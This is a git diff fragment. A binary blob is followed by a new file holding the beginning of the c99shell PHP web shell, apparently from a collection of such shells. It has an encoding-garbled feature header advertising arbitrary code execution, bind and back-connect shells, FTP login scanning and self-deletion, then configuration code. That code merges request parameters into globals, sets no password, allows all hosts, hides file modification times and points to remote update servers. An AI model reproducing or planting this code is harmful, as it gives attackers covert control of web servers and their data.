zGRzRYiGa{1(Tw%oRVJ>zQ%DDY6VFB_0aS9bQiCBs>TwzB)+Gy!E93WaB4z_s!R<<6 z3VMOG8Qv!6HqS9~czzFWnXqu9X4eW;A#;6=i`oSgPF{&}<mo?24dAeQRlx*mSmDSr zCX8q6Z)Z6NCrCme54nnhm_MVv8-*)}?nlkT_SdG4;^kW!>u|o|A7{lRvmw0-{{rFn zR~GGc30RrTDBGRT{o#yP8#QSWb=tS{%?YnYQ7$S#E8QaZ5*{HUUVOsvcDbXyvU!I_ z(#}eym$5$0C!8+gOqT#h2DB~FIsOdEkuP)p8pKcZ?v6A#r49_6CMOBqPRUVSgA8}# zm@q_!cTjj==D-BY=$j{x?N}GQ^b9_48&fyB_*gToXkKx4y}V+o7l{T~WRoQZ{UN~P zH$!8;2Yl#PPgc|uZN<T%MB(Ht+k9SER&-=LL^e??Gm*E^cJ&n-_1U$fPLk1oZWdF5 z4jY@(y2gXU@W#wzy3<B6(e5@^*;f2q?r-5-{X)wmJ<t>3doB~Qa^?tgUewFTnGC`s z?3*Y;{;<NMJ|aP6>)E=mQ<KND)B7k@I@)^TS1DA!H39*>c!*4Ogrp+7ibyaXe!10z zw$*G6g6t$}?wzG3lkM<Pbn<acjMr*x3&p1Kr>zHj_N3el%8#*$`g%`9+(t<jP2q3C zez#v8PnK*C={t%BnlqIi5|~=3+uAYuA1gcaQn-=TXXzfNx;1<>uAQ+nSYN|i{1m19 zAbJk@3ntjZC14y=WMBE~ghSnKEA-0-3i*%;a1S=Jcz{T2wR-9_e)}&-MD;~}WXbpm zTwHu@<w?D2UYpqR+byn3f&Pffig>I7@uQx}|B?|rPDLq5a4wJE_7gx#hKTho)3i#h z-Rhcl5P63h!9Qi^LjSy=7rf2ADM=PkBI_nt6~gJsbrT}HAwlx>nDoo5F<UYpHHLia zr=*L4qlV05lxu^lQZ5m=2k}!N+aVXL_sI>(e4um#)2b2RM9=FueEj$!c=I)XDK_3d zgYTQIRc+Ip2Sw8_>UFy<*R<orbeYRh=gI+H;~l->lI@ut%YA5H#A-1H1LieP*mC&4 zU~a;QwTXz4!OI2iNevq3O8nm?h=t$o3XVAZJHaq9hXdOt$whCm&jEv-vHZAP3NOeX z4>zkTYoRI=LTr(5u)>jx7lHDHs;-vWn&`X!un6_)DW)f<s#boWMVOjtEKwO120m3W zCHSzycD<#ouCZmRsLD&jZc5rw96R%^k;WoCc1VXXNW9oOw3xY!UZ04nxkX!Jyr;4G ze$H+wENDt#XQ2puIak!epp<P*(5a&aMw>(lXPSP4JtnfrJuv=o=qi+me;n)a&VjTW zmS|y_Zya{I*hj|*pnf0WE4`z`J*C|Pd(bUlvldHPf;t3&$l=!h^K4sE8~uIDROvuB zoBe0ZO+|fXo_6Jj+8PY;*zbW`1#{k8HBNg03t1|zbaVfdkX8R|%0V%G;nRFRf%UpD zPsA&eOyo+%B?gx_ZB?xEoHMswSA=8E;u4#qMOHWNfpCMawwThKI;f1B<8G`ka~$w{ zx(Db*hF%yG`VpgO(mM7D>#00^5N9d=J+NIJ#C14l?GCYKdzWZPmQ5z<3b|cQO110x zn(+!p7pqpgJxOf<7vI8U*Mq^)t2=WVu5UuW^^tP&4L6xQegc(#*Rl%2;$V5j*A9C< zvaFWt{Ms|5m=|E(!l8lZ^3J`KPK-R*uN#d(aXb$@^*_@U+>eo|NYmrA6nvUA=rT-h zLWkH*{e=-<md)Pnw;N^2u@2U>s-i<fG#1IEDPnxP{IPPFbh!WZkAe{s#!mll__|+) zxz-3ww$`v(xHEQN(}KACe^XV%oQC9hFb(1rAWO$gH^kJCVP~NfbE|W6`h%Ce<pc=^ zdrP!;r&?NKlOO1Pl$l0enw;=#^U>zlb2R$vUx^B8PQSXI<?4<;C><Qr7}M+AN8jGy zTb3a?S5fBO|4ecy`8t7lxD#>Gi=}7$NyFyw`mq66HXS|p6=pSBlH*YSV-$mG3D?ok zgKrOgt^Hy<WKlD>FieC-W1WR>gO)>yvbo}0FnMQGqTWebQqP^NOYwQk1dME3{5Qn} z?)#hnIe4i<>s}^WZBn?ZRTSPg$@STo6TBVc*A1Wr0O<3*SU`V+x2O8_Aqc-3tRBXT z5S%GtfLH4%4RBhC$jrW^QJP=u9DF~^v-IBsFm0z&a-<e!elAF<Co#gqi1Q$0*pI|F zm=c>hDvF%6w9AWxSn(KTW5=H836u;hes3!;nT&p&0)rX-+ty>H>5o;H5>LHVe~UC? zqMrbnoExs<vK#{9&IO7}?thU!EuH=peo<6k{1rS!M3}|gk>Ab&`Q56f-D!(L{fvN( z&C^9O37G|T1XCoH7)MXxNFS-DRbecfP{7xQ7dg~<A~-L10MUt3(u#t?PMW=?>b%eC zS(=4l=z;&B-w6E?l&kf_qbF;A!I=;G5Xal@dH1E3J!ot~(qwM$RB!JZ;z5Wb(a`y% z+zFX^BnEB>1C#IKdqt^>Iz@hSXc_;r48{9-rr57dTw%^tUZ5)APVgw-g<|7OJxPg% zZlu`06}}w906Qz16beG-N8G+PE%3O5`Q&juG1D<+eF!$C+<3!);-!90vmdtLt!n35 zo3SobS99vvZh7xYVybI5|ML4TvVeMc!Jwlx_iTBjgO?MkBwZn|wtERLh0!VM(HlY! z1_77wP>BgU?0(?!8`sXGs2NL3zD{-%xvxT^-Hl+sm<?fWprhz^!rnOe(`W(daEMyQ zyEuZ+h$KPJ#O-<4e35kozV%lM<@vfX#w{A?DNvW<NXNkjyHO}`l&C12j#LV|&q_-b zC`*OE<Y@VW9@b7yR8&L=?JhG^#|Q1|8T#Lhd{tt0*FV~K^b*#I<RsZWTpoGNOfV~+ z9AIV?;VZX;oLxGtjCjzdP*Hav|H2M|RhNLGuZ4LeB5AQNE5Wtns+8l8DQ^FA6NvZE zWlK7Evao$7#yUt#eG?bT_|m-I8#~k3tKPFu6eSoWR<9N_H>e|~XLS@3Qt?5<4Fn^& z&=IDdj*QkHSGDws5yDjbQtsGe)NVO@58klQUSQ<!H=uYL8#D=-<VhY=CiV2#OglLJ zrkNsAkEjcpB%vKdH&TjTfN!~APL5hTGXCHx<Em6y7yD4gh)MCFB%|)@1vnz)?Tskf zf2|<WfkoQirsp=>_z3bTFhZd{MPntD!>|RnQCmh;=2hM2A1dj%&^D7jU4@<GhxF!; zHBV#3hF9(TcQz?9*%#f$tO>HeFXl<QPKoBjkPDUueP&M=oklRwQB&^o%~i+h6GDv8 zVlcg3M%WZyD+L~O6BH5~$V*s&V}|^*`JyyofaIpWdVouUrh>&gquE)FIPJ0#FAL7j zW;Pzrd5<GBIB4|JMU3pgriMl^enD@O1>zx_0zxgL8IHoIIAmJn=y%b@MRv9?4=XHG z^pTRSOuMdGv={aI_)0~++%{>GFYI4{D|BB-8$4iHH#ekNyz?m$0h`L&xok<ID)d0o z<Gw|)Ab+*eD<kI6)I`cCJkYqxvS<jL-)svb<T_y>iUngWdwoKTVnf4lbcqO1cVj?D zPMXv*tp-mSn4m8%+??a}VvSOFQp0B@0KBrL1tslwo#uv5p7v(p&F=P8yf%%KIL}>u zk|P6GoBo7^Iv`A+Wu7b9gL5|C`V`u$rf8r-H8_vL<M=iIz7202>FMw90(=Xl2Kgna z<(chg<&*TpD5Hz%7WkFi!OOFq_Q&>JbRP%kKc5@>4&q}8%DCCyWyt|{b}Lf<gr4Qk zTgu=KRchdJzdE5Tv*tGDsUTyKlPDso&g5pje1up07Zd#em+zViv_Z>wUSyZ<)HR<d z1!8f^@Z&3`<~p$KTPH==P??Q!Bt3)mzHOQDx;eH$D^CfPKeSbg0B7*_ekU6JI_mk$ z$Y<C;6OGJ{@_hXC{rbNhJlh6eLhe5oml>MySGWJDo@!uEHU8BfZLplSkB%!_wsJv{ zTX?Q4QN!`&Y5LQziL}2uvC}FQ>^s-3Kr5?*b!rE{DoX;tI<d(X$R|y%PNCmTIn*nE zomyu#(o|Siim`B_DtPUnaEbFb4|iT0es$w7@A{QJKlIo3@0k}KbKGaIdf^0=b#zHe zHs3z>Qx$gtGg~*1a?hl{J(d4<E4F`iO>S2;7y0s?Wns97d&CaF5sMe$oTpL&!pU<l zdb)qcQKGZGZKHCfV!tVz5?dGXObSbHgNV1Zc_sAdyWf*<Hl8O}J5^BxV3)g&PO)ku zC6i30w^5s#VmY2JM9s}}r!AgqNlP0kw7%!P#Z>^U>Zbug8tqkn`?wW;tHLnJEiKQl zU+UXq7cB8*7&7(z|Fn1BK~3d-7Y{{HItnPg3(|W>K`92LSEWi3sglqHq)Rar2~~QL zCRIA22+~_%A=Dr!5I_h4l_n_oUiaDE+4Wg>pWWyE<9%m#CX>vaWRgrKbAP{k&iQ^0 zMc7m1;=I^R&y4eM9LF8+hO4GY^jyn{=3=2qX;_2q!Ej#m(d%bBN~qlG<~rZadNU8M zT$O2RLSt(+b<RvX2bTO==jjuPIb}!x#k+!eaTko20;+rS3>^k|K>pM521Vs)p7YZB zA|*$~hrr@~E0g`(5raQ%HQedU=1T2sZgz^lRWTfWjx825bNP168u6it+iS)>9_%6( z;NIOs0%h*N=+u%&$4CEb&F|^Th_W1mKakb3T;<(xmzCM2MPaQ-T9u2+$?fSU!V)Uk z9wqhlDzgXoE9~y?EyG&fM~b(l55IuAIF>Lek@8DHRLG?)&y7ShcUeFd`%Eppczxy? zxB9^skcM|kzALFouqM97f<ft!Sg+|N8%R@3&TXXr#BK|YWoI)zwsy|k<*Y9>09O!C zafRT}NN%GjuRlqOyJ3EI99g~&HJjIr?nN}!M$Gk#mc&Y3*omCaq-H%(6F1R;Ni-31 zpf5eBdjZ3!G(eO%RbEML8FP<ZfG%Y3^^O?}rO36NHyiVOv;-%_ba||%F?3#Hv0Ek( zSR3SA{e&3t$kE`+zb_Yny7s~!1Lr(<DIm}MtRc`9v_X8UGe0hcqVWU(t^-XB|9PVM z+t>b+aQ-LZ{Ktsre-h5WlW^um{BW;=Uf<(x-0->EZIRGKl>6&smNk%}NweyFc&pF3 z<E(r*jK9l+Dfc-D{y}t)H4CJ9ugVIIZmW^3?fj6IcCiko*BaxnW`HgQ`$M=((X}BU zc;V?%8aIV=9sA3udL7&R*Bc^r4bRKiT*Ev|!sqDGc~Jt8S*V{MigSDmQ|&xoUD(u5 zE-*k3l?x|Rb_uE>2O0b_>hv$52c8k^xjh#Z^fb=oJG`6nBVGd4y?JfbWJ}zPmRrim zX;um6*fLZDv0{)M`?Qw~AwGYj-aXQnR2}kqJ58S3i6=_s8@%{P<YuEV0af)OwSZn! zFNpN@hBo-%VsZ1dB!B-_!qR$y8N%2xgkTNQp(ukzm-RVtrJS?eGJ^4#p4dQ#XW1xU zf=hSt^8YFe$k^+5&vkhJ?o0{%QdvYI@*>&_dvYc{Mz&4^C|?C`;J`8AgHN`_PRbH6 z5P7g1nW3lN=He`IP2`8FCJ%YBaGsD%GJ}(!UIc@=QTyjLyZcEz`Wcm@^>Y;3m4;VU zzCaR4IzRgN_tf8a-+c6Abeb3-KpUn1d=*1iF3H#?wl3tdcE3>V6-lN8_AqCpV6q<U z<$Bd0LBn}tZr&vCp26XXxk($cX#IrZql5PpwI)sVY?=A|%qDE{{XwR<13ZQ8T(7%m zk9d#Y#l)o`g2K)BG;Nx^#jy92H(t9l$%5QQwAF89i<<H3B=#c*r4etA{yKf8N(iM_ zluil}fD0VBcOw~HUCT|G81_hoADX02(H+2@45HQ^+3QZPv5EALZZ+?iL-ki56hG58 zOy>P$n7#jcS2l?L{vft@8Z9pssTft8mX=l^=C)vP9NsGxSl>PEvut(dO4ywrQa@eY zxLL&mzhj)^2P#s)`|wP5!2|vUG`)BU)i!^?L$|a{p%XDOcd!E}Q1vobf7y2aH0qK8 z0cKz4ULUQtABkR?_>Hlo#Iy(O*I5wnU@FmlA__6Is&xpSWAwqmy*CP6?~i>bcd#e! zl>IBeJG;%KMv9*BSZy3SIpdzgH?w_Npm|_<egjI8LwV($tn+y=B73^488wIGy3tEx z%b3g!b_t8?ea;!dTf5TxD7(dwY$`mZzy&9S)2chy13mAa>TOu*t~SNA^O~di8442` zX=Asw<tb`<b9Tn50n!KAuiE@*X%?B}Yo!2}!pHS9#c6sg_+8A)eM=|)gkgU%dtrqG zG1r<^5O4OxkjI8-b@awTrB}U$>SlPN)x2a0qYBX-ULucJMBgo*NlC^s!}_N7=JW*x z7Z^AV?k*y7rlX_cLduk6j!s5bY6{n=z^z1cDKar@0i{hs+ngs`+bFEz1E5lp^Ku#B z+5p&tw`yfQC4<6w%?MVPyTK%l6c}qVy!ehc-k|-GZ8uDNdsAx?Z-Os_8i@>HW~T1Z zj~wO?$Jc*DrT86_`H!9lpoiaaZ)ky<bT7J8w4VhUouy1is>vS}h~m1}pdK&N8C=*9 zx?IA1reoxii&v~1zo6Wd(jz%#2`g8Um5Q{i>JP_L`jiT1rR|tvOaxVdFq~!kDnWs6 zf>>Eu@O27Amw!xf5HPj?`%V2Bf1oM~=SdegWLWS2XxRYDBC8Tf$SQbQD;FP+$47=4 zw1y7@O*LnaRcuPk@XWasfITjE4adf0da;{;0w^o)u20L^Y2Hb2(ugj4-MVq>JhI!t zO)8jza$qd#Q&;*bZ~mff(SOmAXgj8)sGV+>p^0g$Lrl6X?QlojU5&f+AiktL+mun7 z3||yJB6m>Cy%N5aS7mWIkGyn&Q=Mcu;q0uJwRVp+5go#hm!PPw{kf(yKSG%HVr^~u zEA*3Btub@^$!xBD+p+_M*6*C9)ze?82041TH(<R$s%evHMqy=S;e>B+eW1PaW?rnj zT=0?PQ~^q-M7d%7^zD#4aeB;Me8Hx;t5-3e9X#mTN}<`!J+1&FZpX?5wKy4y*->OF znG%1@ZpTPK83zosE}1cBRz?i2+N`QXdx`3tN()a0u^mR*Z1JotufFx&3)wq;-W;`D z(<(LPEl@@~5cPrrI=-n0ot4?`z?mBAO)ZZ1X%$({T-Z$CIKJ&qx`trShdLP4eQr?( zt;k6cbEao2I_Mx!)@IKH3H7c?KyMA)WpKD7G-#XXKp=GG5hU#8s6sN0=kx7~PT=J7 zYoybuzi0|f_Khhq|7}wMBJmY?H?2bSxAlME^VRo`1C{=EW#MG^*Ea~VprS}oPd7<X z6WHo`l8xE>Htqk_$N!${9}4T*c-QuNul+Fd3&=Q9a-kjd1tj(z(Z5WUJ0jE=K}xK} zZ;`_Az$~BN?gL|7E6OJRj8RhzMbiNCnyOU|Ov~q3%jk5$I5w!ep;moO<z++e=ulji z6H!u&{iNwG;rq{}a=ft@dS2;vbqc+$XDX>Kt^NEXOQqB=+hbdmW>HJIp*fjE?_p*t zFnIJ2aQPqL^8Xfa`6|CF(Y~wLnqI=f5~FGUSuP~0OMI$Phg(j!PGGXlvU0?!DHB|R z#F1Tw#vw=`y7i(DPzj(Y5?F7ud=q6~-;%7gh6b$L2C661Lx5Z=<2uW>xn5^0$(8Cp zKld?5_a<kYd@suls79#qMSB;Q5kH^xm#g)574V_4|Kjrhs~qrs@%;aJ=6AtV(9KgS zXtN)OxomD+d&YbKBBTTf^-k^ue^usv*NEyWC9&8tmHM2`Dh3sfs{nnqL=N=HhjJuX zvc8I3Dsl1Sia%)~A`a81*bT4AJ5(oy$L79cM2xx^-crm8sYjhm+BFK7SV|(i;S=3Y ztp{;z4#GJZoFP3nT_qM~Jv0!_dX6XBVRvN$W!E=l){S%D6BWCmBz#Dl9d8UHNknf_ z8tbd~2TU`!@ooT>@-Kn1>3=f695r>k6+)6jGQzhL?sBKu@+P<_#LLPk_>%>wN(nlh zFcR1^4YKnMil04ibg#7(<EHB$tb{q5kdj8NPdj?K*q-Czv*eB^*dV|c-`2sI>o_wU zSrjIczIy2Z@nG6`c4}ohKHCb}6tRGC31{}-RV;Jzv&hPR8syaY5Pa%~2wn|0A;eEa zmkDaD3ET?o%Q~ClE20^YAaIF!!nHF85~dq;*CHUr-&RyqhhvD>`pg~rms~ra)prV- zt&V1jr}{L7vYvu{JP1>U98QIQ_8z}cgAnW0#JA!K4m4j;BH)2lJaaU*Atikjo}F21 zu5h*<SSFof*hqZdZ9=7?;_DsTsXmoX=f}8w&OR+|@`%zsZ!JO^f7v4r2gJtVdu__w zf|acpu;BH(gzouV4zi0hr+{wCbV93lpZ)B6-qbWVG(Kr<y2<5h494pqy`WDcZIHU0 z?dJjQyZ*cdH7*e``D9LuYo~3-EXrQ1n>Pj+1ULDpW6+O_cCFl?gCs><j~p52m!PiY zWU?!x<<=p{1CZZ)noTYRb&r;>uMo-$T<5aZzAhZw4ME8~%{@wb`%RSMui|E&)Bc%M zkxTw}S|Nu5d<@|BCN19Q%nEBmiIEJ;PP@2}QLB+CuX$}e5DYhA*7;6Fgks{s7PCAC z@c6z4=(^tH;~H{YTyVGrRpSY_Ziu;pb<!hkX<G$1TkL0|tUqve`v21O_t&l7)Eno& zfxIy`18~XFd~I{j)8_><sV?80W;7{wq3}ELyjHp4ewxt4Eq~#BD0{H?(>3??*F2v? zzHSLwqiDDdZ(7(w-(Co}5rxkz*GqjvfCU63{K-~6?x=S8m+TPuc)qF00GLIqr8cBd zB3dEpymP=pCdH+~nf$yfe7m%v;o8oP$IdHnJ@~wQ=YWgF2mn1?{c9GE0LgkQ_ygG% zmuJy&zSZ`ApY}xPPY~dOr<Uk;AnI|A+SRV=*q7pi;nf;?(H5BtSeR2^D#<XBAC>Yi zpx~bhx2jUS{jkTTlWK+8%~$|ATzr@ieQ%+_{vC3fpiuNF{UNidU*h96rF133trfqs zd~%!&sRvK;7#a@>kAp1j20-^eBR}dLG_C6%{DM8!+mm=xl(A~BY^eWWR6A#S@93+& z!2sO-m`7y2hE2~5Wc%oKKi#mx!$Y#<6K^Awb+{j`cAAs85)#8SX>qT6|L97{?fO=q zPaZSsq-KcYH`aNk&v~jxd7kw_`MU)EW4TA8f|k_GfLPmn?(G#d;LjKvdHhfi=q;%# zl3*rQ&**Blt67&4=0vLu<6ItA^NNA{F21ls6*~LgMws~uooag}E}@r6N7@AR0Qfl& zwW-Z5Yat8Ejeod*b)7w&@NT>F2n`ut;`u^|2k*eEJ=!yqg)G{s8>y?T46eC#ZSU&n ze&{3Phg_an)-4ssBnB&D`}rIGu(ylK$2GS{wKGdb)AOg`$Il|yFOR?C2>)*Hro0v9 zT^~!1No!Pv2#a!xZNDnBHZc!NXmfz`qDhp*WJvi_xp=5iH?`Q4kNsRC^u*cO3#~l= z8e8A`xy38sw=G^k3x|=07s6&&Ek080vhnxb9NdflNYH6{iyTQ$oKNI-u%&=u^H7^O zfqG4uWrVa^Ctb=ShQ(x*OE9<vDi^2e5!UyVwF_-)Vcrp@8}8yZzTj)uoo&q>VsB*r z>=4|C>_cT)KCGyOCYd-C%oU|BRWN8tZgDiW1Qhn52Wy44jf~hl2Wvv*VarzAjZ?vA zzg4>a%JKIwHKj)1pBV>5C=%<X9G5>7EngDn-QiI&RuV^;#+Qo%@F;vgJ-V<Goja*O z>!jMoNc4Wx=RVS`9s}>?7?!Yl=UY~e>psp-UWBHC0+sB*1lx;Q7Nunp{1h~4T&^b% zflOibl*HTeI_yn+u64q(fI9w^hCAMULkBmnE4;ft9}gA1_Ti+Fen?Lne)albWhEY) z+#30o7~bceZ@MGyYUaQ0vfb~CyTZ%Yaw>~{@+-AQJ_)eKnAIyBranI^zV-H^yrTZ( zmJp`_ltES{lj=d;p;Yi`!mL+sJPG3El7#D=k&@CD0cqFSXv|8odIR)KpMQQP;AwWO zMwc>0Ye)XvEt#stR^CwbRGhq!j?S&=NukXu!G}J#lCxfIyJrYhY{uv?-Di)<;n=$3 z^Ee}KZSs$2*Fkpb`3qp1#`d=Z1VnuH%`hp~RwjNC+m9rngPqH|@bOpbNm^Uu8r7vS zAqm4uO!0CD6?3j?lXbmjLvym$qR0khg}9tN-CToKCK=9Uo4J?rnp)?Ox_|$R>C)1d z`w;$B9;=0*QGsxqD+@1=bX#8@Qmf|zkQN;m_E<~u7q=7cj}dLRMBX9sm?O@fBw1$& zQ}<!3O&zN3Z-O>aXD$;SVRo@*Vz1Cv+_=J#GKceN0^;ft5KT<Ds@;c<*(Pi1m^jFE zo2;;auot=C`rc_*<M#|Q#&+>3LuL5h{2-A!5z%~rbo*Soy0eI?yh|+C+vwA9iS{Z1 z0u)DCsBC-N=b1%eMRIH6$T2mM&cqR=huKu>{ux($AMT}sDQ^$63<Jhgct+rO0eRE$ znk+CvL2iFni|`gu<Si{a*F`qOFJDF-&i3XM;o7_6{c@iAew;)`%T%%rRaMeUb0maG z=_@=Nq(fX>Xq<h<wUR5;^OAsz-dOW9CTcUfGG~f1h=N~Fs2KRkg8xmfI8|A$U|TNg zJ|mVsnCtQGxt_9s^nI03|9ZG!K}@a2<$F&M1B4EF3R~N-?C7ISgZZSQ@p~0^^_m$T zZqu60!io=l>3g-8L=;C99q)NYw~*f7;`t=6%1L7qu_~)<jmL?x-MAu$C=H0M%i@#q z;`c2Kq32QoD_e{pbJ9R;b_8M5Q`tukNh=-S&ss7%%hMUbFx^(fvX0&?2$xJhYwseC z<do=u66G~Bb;e6JFa}RGZ_rs<)6hP62XVz!i8)lURNlVhsr07DBb+3rYav)vqsG+u zmD<IfD$Jzo(+Oh(j9|Au&g#g?o6~MB|9#lN=r!7^89=U%5q>rYuuFQ^slj0DjFyLe z@)2TzO}Tftfh8~WH|Ll7qWKJRZ8T2phFID11VMjgI>751M`<-Rq6#@QZ|^%xe;7>T zuqodRpjdIElu1Mf%N+4H=5*fzM=TH6)I4-<G8<&eNHa>Fo*^F!LmdR}rUbH$6G~w{ zXMH)rZl>MZ+>!X)2V}H0>a49lmM>J!cVKL56Ex3M`SA6eD-RNtz2g#3{H9>i?{$F5 z=DBq>Sz{BJvcLP_Tv$KmEM=1}-Y$0;uvGrxw|a~{Iy?bEc1`|v5801;SW8IvnD%ca zu^;fhNkI@S#SF2jvYo@;D03f<UU~4zNcmNhLi*#;ORfx@x4$xgP5Ba`jlz3X@Zr)4 z4@dQ*X^Ym>1!YysPb%`Y+2ZXN6d|xU*(5cB%T~nXk6XaTSycna0o~=QnpS`xV#QHG z`@0kWlRJaRnMuRs49NCzkO_N!Mfup_n22kM_=n}<TOox)vtGuEcnU#$ocdayIl^xa zU>O0CQD2U40-E1jI=b^_vHHO2*@o|En~c^#-6Sj=tf3|846Nb5+6bxq_g<9wsmI+> zds>{INV}<|XC0Ku4ydHYhqgp}-SPU`HNtup#52uUDQ85@7`;rN#$UgQQC-xOCUhre z{y4Bfsc(3kHOy3uw2l31o|L6yJ}0=;@h$9ThF$}n(f|)+=|#zy5l%wzGW!1f#R#;_ zymw**2_8MmUe{n|)~F_WFpKxYVa}D0)15kRX6v|5erQf{9>Cm8E?x+}^ceJ@RNE&L z6SVhHV_zqZSS~eu<TR0QHT?16vZb_&MB=q>X+A^Df#Z(^!pIBXMlSxOq^#=tnA*!5 zvZFV6R|~1t)Q{>}gUgxy`DgZ?Cd-0*v@Gr+JUIqVo9GTI_22$=K`C#=DAxn`9=Zoj zW8%|JA?fJnUqEnY(=VVv%HuO7`HA=$PR-G?q!-(popq(6$cA;v))+nF>Z-~%prr0c zv2&zQGSG0}AZO7+pj9V~uese&DCeTn{lKGb-S=^+g1CtTu`|inknB(*Kf5V{<Nc#C zRSjTT;P8wpjlti7>wWvX{9ib(`2y;f(>dD68Q6%WF`*5LIeJibJnvW26Z!d}Ydf|y xNK}7J)iGi=Q+BkERSA%g3*P_sd<nRbzjh*lfIOcyE8r(oiG1>Ex$<T9e*k9HP<8+S literal 0 HcmV?d00001 diff --git a/php/PHPshell/c99/c99.php b/php/PHPshell/c99/c99.php new file mode 100644 index 0000000..dc6d688 --- /dev/null +++ b/php/PHPshell/c99/c99.php @@ -0,0 +1,3069 @@ +<?php +/* +****************************************************************************************************** +* +* c99shell.php v.1.0 pre-release build #13 +* Freeware license. +* © CCTeaM. +* c99shell - ôàéë-ìåíåäæåð ÷åðåç www-áðîóçåð, "çàòî÷åíûé" äëÿ âçëîìà. +* Âû ìîæåòå áåñïëàòíî ñêà÷àòü ïîñëåäíþþ âåðñèþ íà äîìàøíåé ñòðàíè÷êå ïðîäóêòà: + http://ccteam.ru/releases/c99shell +* +* WEB: http://ccteam.ru +* ICQ UIN #: 656555 +* +* Îñîáåííîñòè: +* + óïðàâëåíèå ëîêàëüíûìè è óäàëåííûìè (ftp, samba) ôàéëàìè/ïàïêàìè, ñîðòèðîâêà +* çàêà÷èâàíèå ñêà÷èâàíèå ôàéëîâ è ïàïîê +* (ïðåäâîðèòåëüíî óïàêîâûâàåòñÿ/ðàñïàêîâûâàåòñÿ ÷åðåç tar) +* ïðîäâèíóòûé ïîèñê (âîçìîæåí âíóòðè ôàéëîâ) +* modify-time è access-time ó ôàéëîâ íå ìåíÿþòñÿ ïðè ðåäàêòèðîâàíèè (äëÿ îòêë. ñì $filestealth) +* + âûïîëíåíèå ïðîèçâîëüíîãî PHP-êîäà +* + êîäèðîâùèê äàííûõ ÷åðåç md5, unix-md5, sha1, crc32, base64 +* + áûñòðûé ëîêàëüíûé àíàëèç áåçîïàñíîñòè ÎÑ +* + áûñòðîå ftp-ñêàíèðîâàíèå íà ñâÿçêè login;login èç /etc/passwd (îáû÷íî äàåò äîñòóï ê 1/100 àêêàóíòîâ) +* ïîñòðàíè÷íûé âûâîä, ñîðòèðîâêà, ãðóïïîâûå îïåðàöèè íàä ÁÄ/òàáëèöàìè, óïðàâëåíèå ïðîöåññàìè SQL) +* + ñêðèïò "ëþáèò" include: àâòîìàòè÷åñêè èùåò ïåðåìåííûå ñ äåñêðèïòîðàìè è âñòàâëÿåò èõ â ññûëêè (îïöèàëüíî) + òàêæå ìîæíî èçìåíèòü $surl (áàçîâàÿ ññûëêà) êàê ÷åðåç êîíôèãóðàöèþ (ïðèíóäèòåëüíî) òàê è ÷åðåç cookie "c99sh_surl", + èäåò àâòî-çàïèñü çíà÷åíèÿ $set_surl â cookie "set_surl" +* + âîçìîæíîñòü "çàáèíäèòü" /bin/bash íà îïðåäåëåííûé ïîðò ñ ïðîèçâîëüíûì ïàðîëåì, +* èëè ñäåëàòü back connect (ïðîèçâîäèòñÿ òåñòèðîâàíèå ñîåäåíåíèÿ, è âûâîäÿòñÿ ïàðàìåòðû äëÿ çàïóñêà NetCat). +* + âîçìîæíîñòü áûñòðîãî ñàìî-óäàëåíèÿ ñêðèïòà +* + àâòîìàòèçèðîâàíàÿ îòïðàâêà ñîîáùåíèé î íåäîðàáîòêàõ è ïîæåëàíèÿõ àâòîðó (÷åðåç mail()) +* +* Ïðèâåäåí äàëåêî íå ïîëíûé ñïèñîê âîçìîæíîñòåé. +* +* Îæèäàåìûå èçìåíåíèÿ: +* ~ Ðàçâèòèå sql-ìåíåäæåðà +* ~ Äîáàâëåíèå íåäîñòàþùèõ ðàñøèðåíèé ôàéëîâ +* +* ~-~ Ïèøèòå îáî âñåõ íàéäåíûõ íåäîðàáîòêàõ, æåëàåìûõ èçìåíåíèÿõ è äîðàáîòêàõ (äàæå î ñàìûõ íåçíà÷èòåëüíûõ!) + â ICQ UIN #656555 ëèáî ÷åðåç ðàçäåë "feedback", áóäóò ðàññìîòðåíû âñå ïðåäëîæåíèÿ è ïîæåëàíèÿ. +* +* Last modify: 29.07.2005 +* +* © Captain Crunch Security TeaM. Coded by tristram +* +****************************************************************************************************** +*/ +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 pre-release build #13"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$gzipencode = true; //Encode with gzip? + +$updatenow = false; //If true, update now (this variable will be false) + +$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server +$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server + +$filestealth = true; //if true, don't change modify- and access-time + +$donated_html = "<center><b>Owned by hacker</b></center>"; + /* If you publish free shell and you wish + add link to your site or any other information, + put here your html. */ +$donated_act = 